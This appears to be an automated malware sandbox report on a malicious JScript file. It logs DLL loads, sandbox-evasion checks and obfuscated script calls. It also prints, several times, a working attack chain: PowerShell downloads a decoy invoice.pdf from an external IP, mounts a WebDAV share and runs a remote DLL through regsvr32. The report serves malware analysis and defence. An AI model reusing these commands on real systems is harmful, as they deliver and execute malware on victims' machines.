Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8910.js.csv");ITextStream.WriteLine(" entry:8016 f:yjjathv");ITextStream.WriteLine(" exec:2 f:yjjathv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4309			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5059			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6488	Thread sleep count: 4309 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 940	Thread sleep count: 5059 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1532	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7092	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6556	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5080	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1276	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7292	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2111400218.000002966A028000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111600692.000002966A093000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3329343984.0000020E9362B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3330286201.0000020E98C58000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
